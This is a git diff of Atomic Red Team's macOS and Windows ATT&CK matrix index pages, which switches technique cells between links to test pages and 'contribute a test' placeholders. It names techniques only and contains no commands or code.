Atomic Tests by ATT&CK Tactic & Technique | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| -| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](../../T1155/T1155.md) | [.bash_profile and .bashrc](../../T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](../../T1009/T1009.md) | [Bash History](../../T1139/T1139.md) | [Account Discovery](../../T1087/T1087.md) | [AppleScript](../../T1155/T1155.md) | [Audio Capture](../../T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Access Removal](../../T1531/T1531.md) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](../../T1059/T1059.md) | [Browser Extensions](../../T1176/T1176.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](../../T1146/T1146.md) | [Brute Force](../../T1110/T1110.md) | [Application Window Discovery](../../T1010/T1010.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](../../T1119/T1119.md) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](../../T1136/T1136.md) | [Emond](../../T1519/T1519.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](../../T1003/T1003.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](../../T1115/T1115.md) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](../../T1193/T1193.md) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compile After Delivery](../../T1500/T1500.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](../../T1083/T1083.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppleScript](../../T1155/T1155.md) | [.bash_profile and .bashrc](../../T1156/T1156.md) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](../../T1009/T1009.md) | [Bash History](../../T1139/T1139.md) | [Account Discovery](../../T1087/T1087.md) | [AppleScript](../../T1155/T1155.md) | Audio Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Account Access Removal [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](../../T1059/T1059.md) | [Browser Extensions](../../T1176/T1176.md) | Elevated Execution with Prompt [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clear Command History](../../T1146/T1146.md) | Brute Force [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Window Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Automated Collection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Create Account](../../T1136/T1136.md) | [Emond](../../T1519/T1519.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Credential Dumping [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Clipboard Data [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Spearphishing Attachment [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Graphical User Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Dylib Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Compile After Delivery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [File and Directory Discovery](../../T1083/T1083.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launchctl](../../T1152/T1152.md) | [Emond](../../T1519/T1519.md) | [Launch Daemon](../../T1160/T1160.md) | [Connection Proxy](../../T1090/T1090.md) | [Credentials in Files](../../T1081/T1081.md) | [Network Service Scanning](../../T1046/T1046.md) | [Logon Scripts](../../T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](../../T1168/T1168.md) | [Hidden Files and Directories](../../T1158/T1158.md) | [Plist Modification](../../T1150/T1150.md) | [Disabling Security Tools](../../T1089/T1089.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [Remote File Copy](../../T1105/T1105.md) | [Data from Local System](../../T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](../../T1132/T1132.md) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](../../T1064/T1064.md) | [Kernel Modules and Extensions](../../T1215/T1215.md) | [Process Injection](../../T1055/T1055.md) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](../../T1056/T1056.md) | [Network Sniffing](../../T1040/T1040.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Scripting](../../T1064/T1064.md) | Kernel Modules and Extensions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution Guardrails [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Trusted Relationship [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Source](../../T1153/T1153.md) | LC_LOAD_DYLIB Addition [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Setuid and Setgid](../../T1166/T1166.md) | Exploitation for Defense Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Prompt](../../T1141/T1141.md) | [Password Policy Discovery](../../T1201/T1201.md) | SSH Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](../../T1151/T1151.md) | [Launch Agent](../../T1159/T1159.md) | [Startup Items](../../T1165/T1165.md) | [File Deletion](../../T1107/T1107.md) | [Keychain](../../T1142/T1142.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Input Capture](../../T1056/T1056.md) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Inhibit System Recovery](../../T1490/T1490.md) | +| Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Space after Filename](../../T1151/T1151.md) | [Launch Agent](../../T1159/T1159.md) | [Startup Items](../../T1165/T1165.md) | [File Deletion](../../T1107/T1107.md) | [Keychain](../../T1142/T1142.md) | Peripheral Device Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Input Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Scheduled Transfer [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Generation Algorithms [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Inhibit System Recovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | Third-party Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Launch Daemon](../../T1160/T1160.md) | [Sudo](../../T1169/T1169.md) | [File and Directory Permissions Modification](../../T1222/T1222.md) | [Network Sniffing](../../T1040/T1040.md) | [Permission Groups Discovery](../../T1069/T1069.md) | | [Screen Capture](../../T1113/T1113.md) | | Fallback Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Network Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | [Trap](../../T1154/T1154.md) | [Launchctl](../../T1152/T1152.md) | [Sudo Caching](../../T1206/T1206.md) | [Gatekeeper Bypass](../../T1144/T1144.md) | [Private Keys](../../T1145/T1145.md) | [Process Discovery](../../T1057/T1057.md) | | Video Capture [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Multi-Stage Channels [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Resource Hijacking](../../T1496/T1496.md) | -| | [User Execution](../../T1204/T1204.md) | [Local Job Scheduling](../../T1168/T1168.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](../../T1148/T1148.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](../../T1018/T1018.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Web Shell](../../T1100/T1100.md) | [Hidden Files and Directories](../../T1158/T1158.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1063/T1063.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | [Logon Scripts](../../T1037/T1037.md) | | [Hidden Users](../../T1147/T1147.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Software Discovery](../../T1518/T1518.md) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) | -| | | [Plist Modification](../../T1150/T1150.md) | | [Hidden Window](../../T1143/T1143.md) | | [System Information Discovery](../../T1082/T1082.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](../../T1016/T1016.md) | | | | [Remote Access Tools](../../T1219/T1219.md) | | +| | User Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Local Job Scheduling](../../T1168/T1168.md) | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [HISTCONTROL](../../T1148/T1148.md) | Securityd Memory [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Remote System Discovery](../../T1018/T1018.md) | | | | Multi-hop Proxy [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Runtime Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Login Item [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Hidden Files and Directories](../../T1158/T1158.md) | Steal Web Session Cookie [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Security Software Discovery](../../T1063/T1063.md) | | | | Multiband Communication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Stored Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | [Logon Scripts](../../T1037/T1037.md) | | [Hidden Users](../../T1147/T1147.md) | Two-Factor Authentication Interception [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Software Discovery [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Multilayer Encryption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [System Shutdown/Reboot](../../T1529/T1529.md) | +| | | [Plist Modification](../../T1150/T1150.md) | | Hidden Window [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Information Discovery](../../T1082/T1082.md) | | | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Transmitted Data Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Indicator Removal from Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [System Network Configuration Discovery](../../T1016/T1016.md) | | | | Remote Access Tools [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | [Rc.common](../../T1163/T1163.md) | | [Indicator Removal on Host](../../T1070/T1070.md) | | [System Network Connections Discovery](../../T1049/T1049.md) | | | | [Remote File Copy](../../T1105/T1105.md) | | | | | [Re-opened Applications](../../T1164/T1164.md) | | [Install Root Certificate](../../T1130/T1130.md) | | [System Owner/User Discovery](../../T1033/T1033.md) | | | | [Standard Application Layer Protocol](../../T1071/T1071.md) | | -| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | [Standard Cryptographic Protocol](../../T1032/T1032.md) | | -| | | [Setuid and Setgid](../../T1166/T1166.md) | | [Launchctl](../../T1152/T1152.md) | | | | | | [Standard Non-Application Layer Protocol](../../T1095/T1095.md) | | -| | | [Startup Items](../../T1165/T1165.md) | | [Masquerading](../../T1036/T1036.md) | | | | | | [Uncommonly Used Port](../../T1065/T1065.md) | | -| | | [Trap](../../T1154/T1154.md) | | [Obfuscated Files or Information](../../T1027/T1027.md) | | | | | | [Web Service](../../T1102/T1102.md) | | +| | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | LC_MAIN Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | Standard Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | +| | | [Setuid and Setgid](../../T1166/T1166.md) | | [Launchctl](../../T1152/T1152.md) | | | | | | Standard Non-Application Layer Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | +| | | [Startup Items](../../T1165/T1165.md) | | Masquerading [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | [Uncommonly Used Port](../../T1065/T1065.md) | | +| | | [Trap](../../T1154/T1154.md) | | [Obfuscated Files or Information](../../T1027/T1027.md) | | | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | [Plist Modification](../../T1150/T1150.md) | | | | | | | | -| | | [Web Shell](../../T1100/T1100.md) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | -| | | | | [Process Injection](../../T1055/T1055.md) | | | | | | | | +| | | Web Shell [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Port Knocking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | +| | | | | Process Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | Redundant Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | -| | | | | [Rootkit](../../T1014/T1014.md) | | | | | | | | +| | | | | Rootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | [Scripting](../../T1064/T1064.md) | | | | | | | | | | | | | [Software Packing](../../T1045/T1045.md) | | | | | | | | | | | | | [Space after Filename](../../T1151/T1151.md) | | | | | | | | | | | | | [Timestomp](../../T1099/T1099.md) | | | | | | | | | | | | | Valid Accounts [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | | | | | | Virtualization/Sandbox Evasion [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | -| | | | | [Web Service](../../T1102/T1102.md) | | | | | | | | +| | | | | Web Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | | | | | | | diff --git a/atomics/Indexes/Matrices/windows-matrix.md b/atomics/Indexes/Matrices/windows-matrix.md index 750df4ec..d80cc8c5 100644 --- a/atomics/Indexes/Matrices/windows-matrix.md +++ b/atomics/Indexes/Matrices/windows-matrix.md @@ -2,17 +2,17 @@ | initial-access | execution | persistence | privilege-escalation | defense-evasion | credential-access | discovery | lateral-movement | collection | exfiltration | command-and-control | impact | |-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----|-----| | Drive-by Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [CMSTP](../../T1191/T1191.md) | [Accessibility Features](../../T1015/T1015.md) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Access Token Manipulation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](../../T1098/T1098.md) | [Account Discovery](../../T1087/T1087.md) | Application Deployment Software [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Audio Capture](../../T1123/T1123.md) | Automated Exfiltration [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Commonly Used Port [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Access Removal](../../T1531/T1531.md) | -| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Command-Line Interface](../../T1059/T1059.md) | [Account Manipulation](../../T1098/T1098.md) | [Accessibility Features](../../T1015/T1015.md) | [BITS Jobs](../../T1197/T1197.md) | [Brute Force](../../T1110/T1110.md) | [Application Window Discovery](../../T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](../../T1119/T1119.md) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | -| External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](../../T1223/T1223.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Binary Padding](../../T1009/T1009.md) | [Credential Dumping](../../T1003/T1003.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](../../T1115/T1115.md) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](../../T1103/T1103.md) | [AppInit DLLs](../../T1103/T1103.md) | [Bypass User Account Control](../../T1088/T1088.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | [Data Transfer Size Limits](../../T1030/T1030.md) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Exploit Public-Facing Application [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Command-Line Interface [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Account Manipulation](../../T1098/T1098.md) | [Accessibility Features](../../T1015/T1015.md) | [BITS Jobs](../../T1197/T1197.md) | [Brute Force](../../T1110/T1110.md) | [Application Window Discovery](../../T1010/T1010.md) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Automated Collection](../../T1119/T1119.md) | [Data Compressed](../../T1002/T1002.md) | Communication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Destruction](../../T1485/T1485.md) | +| External Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](../../T1223/T1223.md) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | AppCert DLLs [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Binary Padding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credential Dumping](../../T1003/T1003.md) | [Browser Bookmark Discovery](../../T1217/T1217.md) | Exploitation of Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Clipboard Data](../../T1115/T1115.md) | [Data Encrypted](../../T1022/T1022.md) | [Connection Proxy](../../T1090/T1090.md) | Data Encrypted for Impact [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| Hardware Additions [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Object Model and Distributed COM [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [AppInit DLLs](../../T1103/T1103.md) | [AppInit DLLs](../../T1103/T1103.md) | [Bypass User Account Control](../../T1088/T1088.md) | Credentials from Web Browsers [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Domain Trust Discovery](../../T1482/T1482.md) | Internal Spearphishing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Staged](../../T1074/T1074.md) | Data Transfer Size Limits [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Custom Command and Control Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Defacement [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Control Panel Items](../../T1196/T1196.md) | [Application Shimming](../../T1138/T1138.md) | [Application Shimming](../../T1138/T1138.md) | [CMSTP](../../T1191/T1191.md) | [Credentials in Files](../../T1081/T1081.md) | [File and Directory Discovery](../../T1083/T1083.md) | [Logon Scripts](../../T1037/T1037.md) | Data from Information Repositories [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Exfiltration Over Alternative Protocol](../../T1048/T1048.md) | Custom Cryptographic Protocol [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Content Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | -| [Spearphishing Attachment](../../T1193/T1193.md) | [Dynamic Data Exchange](../../T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](../../T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](../../T1214/T1214.md) | [Network Service Scanning](../../T1046/T1046.md) | [Pass the Hash](../../T1075/T1075.md) | [Data from Local System](../../T1005/T1005.md) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Data Encoding](../../T1132/T1132.md) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | +| [Spearphishing Attachment](../../T1193/T1193.md) | [Dynamic Data Exchange](../../T1173/T1173.md) | Authentication Package [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Bypass User Account Control](../../T1088/T1088.md) | Code Signing [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Credentials in Registry](../../T1214/T1214.md) | Network Service Scanning [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Pass the Hash](../../T1075/T1075.md) | Data from Local System [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Command and Control Channel [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Encoding [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Disk Structure Wipe [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing Link [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through API [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [BITS Jobs](../../T1197/T1197.md) | [DLL Search Order Hijacking](../../T1038/T1038.md) | [Compile After Delivery](../../T1500/T1500.md) | Exploitation for Credential Access [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Share Discovery](../../T1135/T1135.md) | [Pass the Ticket](../../T1097/T1097.md) | Data from Network Shared Drive [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Other Network Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Data Obfuscation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Endpoint Denial of Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Spearphishing via Service [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Execution through Module Load [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Bootkit [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Privilege Escalation [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Compiled HTML File](../../T1223/T1223.md) | Forced Authentication [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Network Sniffing](../../T1040/T1040.md) | [Remote Desktop Protocol](../../T1076/T1076.md) | Data from Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exfiltration Over Physical Medium [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Domain Fronting [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Firmware Corruption [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | | Supply Chain Compromise [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Exploitation for Client Execution [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | [Browser Extensions](../../T1176/T1176.md) | Extra Window Memory Injection [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) | Component Firmware [CONTRIBUTE A 